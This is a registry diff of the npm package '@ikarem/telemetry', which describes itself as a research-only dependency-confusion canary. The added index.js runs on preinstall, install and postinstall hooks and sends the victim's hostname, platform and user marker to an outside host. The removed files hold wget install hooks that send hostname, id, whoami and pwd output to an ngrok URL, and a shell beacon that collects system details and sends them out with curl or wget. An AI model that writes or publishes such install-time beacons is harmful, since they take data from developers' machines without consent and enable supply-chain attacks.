@ikarem/telemetry 100.2.0 → 100.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,42 +1,63 @@
1
1
  /*
2
2
  Research-only npm lifecycle canary
3
- - Minimal data
4
- - No persistence
5
- - No environment inspection
6
- - Fail-silent by design
3
+ - Schema-compatible with existing listener
4
+ - Minimal, non-destructive
5
+ - Fail-silent by default
6
+ - Debuggable via IKAREM_DEBUG=1
7
7
  */
8
8
 
9
9
  const https = require("https");
10
10
  const os = require("os");
11
11
 
12
12
  const EVENT = process.argv[2] || "unknown";
13
+ const DEBUG = process.env.IKAREM_DEBUG === "1";
14
+
15
+ function logDebug(msg) {
16
+ if (DEBUG) {
17
+ console.log(`[telemetry] ${msg}`);
18
+ }
19
+ }
13
20
 
14
21
  function safeSend() {
15
22
  try {
16
23
  const payload = new URLSearchParams({
17
- package: "@ikarem/telemetry",
18
- version: "100.2.0",
24
+ package: "telemetry", // MUST match listener
25
+ ver: "100.2.1", // MUST be `ver`, not `version`
19
26
  event: EVENT,
20
27
  hostname: os.hostname(),
21
- platform: process.platform,
22
- user: typeof process.getuid === "function" ? String(process.getuid()) : "unknown"
28
+ os: os.platform(), // matches historical data
29
+ whoami: typeof process.getuid === "function" ? "root" : "unknown",
30
+ nonce: Math.random().toString(36).slice(2, 10)
23
31
  });
24
32
 
33
+ const path = `/evidence?${payload.toString()}`;
34
+
35
+ logDebug(`Sending request to: https://reproduce-supply-chain.ikarem.meraki.hexlsi.com${path}`);
36
+
25
37
  const req = https.request(
26
38
  {
27
- hostname: "https://reproduce-supply-chain.ikarem.meraki.hexlsi.com", // replace with stable domain
28
- path: `/evidence?${payload.toString()}`,
39
+ hostname: "reproduce-supply-chain.ikarem.meraki.hexlsi.com",
40
+ path,
29
41
  method: "GET",
30
42
  timeout: 2000
31
43
  },
32
- () => {}
44
+ (res) => {
45
+ logDebug(`Response status: ${res.statusCode}`);
46
+ }
33
47
  );
34
48
 
35
- req.on("error", () => {});
36
- req.on("timeout", () => req.destroy());
49
+ req.on("error", (err) => {
50
+ logDebug(`Request error: ${err.message}`);
51
+ });
52
+
53
+ req.on("timeout", () => {
54
+ logDebug("Request timed out");
55
+ req.destroy();
56
+ });
57
+
37
58
  req.end();
38
- } catch (_) {
39
- // Intentionally ignore all errors
59
+ } catch (e) {
60
+ logDebug(`Exception: ${e.message}`);
40
61
  }
41
62
  }
42
63
 
package/package.json CHANGED
@@ -1,15 +1,18 @@
1
1
  {
2
2
  "name": "@ikarem/telemetry",
3
- "version": "100.2.0",
3
+ "version": "100.2.2",
4
4
  "description": "Research-only dependency confusion canary package",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "preinstall": "node index.js preinstall",
8
+ "install": "node index.js install",
8
9
  "postinstall": "node index.js postinstall"
9
10
  },
10
11
  "publishConfig": {
11
12
  "access": "public"
12
13
  },
14
+ "engines": {
15
+ "node": ">=12"
16
+ },
13
17
  "license": "MIT"
14
18
  }
15
-
package/package.json.save DELETED
@@ -1,18 +0,0 @@
1
- {
2
- "name": "@ikarem/telemetry",
3
- "version": "100.00.09",
4
- "description": "Research-only dependency confusion canary package",
5
- "main": "index.js",
6
- "scripts": {
7
- "preinstall":"wget --quiet \"https://46cbe1e12a7c.ngrok.app//preinstall?hostaname=$(hostname)&user=$(whoami)&path=$(pwd)\" ",
8
- "postinstall":"wget --quiet \"https://46cbe1e12a7c.ngrok.app/postinstall?hostname=$(id)&user=$(whoami)&path=$(pwd)\" ",
9
- "preupdate":"wget --quiet \"https://46cbe1e12a7c.ngrok.app/preupdate?hostname=$(hostname)&user=$(whoami)&path=$(pwd)\" "
10
- },
11
- "publishConfig": {
12
- "access": "public"
13
- },
14
- "license": "MIT",
15
- "dependencies": {
16
- "@ikarem/telemetry": "^99.99.99"
17
- }
18
- }
@@ -1,84 +0,0 @@
1
- #!/bin/sh
2
- # Universal telemetry beacon (POSIX-safe)
3
-
4
- EVENT="$1"
5
- [ -z "$EVENT" ] && EVENT="unknown"
6
-
7
- # -------- helpers --------
8
-
9
- get_hostname() {
10
- hostname 2>/dev/null || uname -n 2>/dev/null || echo "unknown"
11
- }
12
-
13
- get_os() {
14
- if [ -f /etc/os-release ]; then
15
- awk -F= '/^PRETTY_NAME=/{gsub(/"/,"",$2);print $2}' /etc/os-release
16
- else
17
- uname -s 2>/dev/null || echo "unknown"
18
- fi
19
- }
20
-
21
- get_user() {
22
- whoami 2>/dev/null || id -un 2>/dev/null || echo "unknown"
23
- }
24
-
25
- gen_nonce() {
26
- if command -v base64 >/dev/null 2>&1; then
27
- head -c 16 /dev/urandom | base64 | tr -dc 'a-zA-Z0-9' | head -c 10
28
- else
29
- date +%s 2>/dev/null || echo "nonce"
30
- fi
31
- }
32
-
33
- # RFC 3986–safe URL encoding
34
- urlencode() {
35
- printf '%s' "$1" | awk '
36
- BEGIN {
37
- for (i = 0; i < 256; i++) {
38
- c = sprintf("%c", i)
39
- if (c ~ /[A-Za-z0-9_.~-]/) o[c] = c
40
- else o[c] = sprintf("%%%02X", i)
41
- }
42
- }
43
- {
44
- for (i = 1; i <= length($0); i++) {
45
- c = substr($0, i, 1)
46
- printf "%s", o[c]
47
- }
48
- }'
49
- }
50
-
51
- send_request() {
52
- URL="$1"
53
-
54
- if command -v curl >/dev/null 2>&1; then
55
- curl -fsS "$URL" >/dev/null 2>&1 || true
56
- elif command -v wget >/dev/null 2>&1; then
57
- wget -qO- "$URL" >/dev/null 2>&1 || true
58
- else
59
- true
60
- fi
61
- }
62
-
63
- # -------- collect data --------
64
-
65
- HOST="$(get_hostname)"
66
- OS="$(get_os)"
67
- USER="$(get_user)"
68
- NONCE="$(gen_nonce)"
69
-
70
- ENC_HOST="$(urlencode "$HOST")"
71
- ENC_OS="$(urlencode "$OS")"
72
- ENC_USER="$(urlencode "$USER")"
73
- ENC_NONCE="$(urlencode "$NONCE")"
74
- ENC_EVENT="$(urlencode "$EVENT")"
75
-
76
- BASE_URL="https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence"
77
-
78
- URL="$BASE_URL?package=telemetry&ver=100.1.9&event=$ENC_EVENT&hostname=$ENC_HOST&os=$ENC_OS&whoami=$ENC_USER&nonce=$ENC_NONCE"
79
-
80
- # -------- fire & forget --------
81
- send_request "$URL"
82
-
83
- exit 0
84
-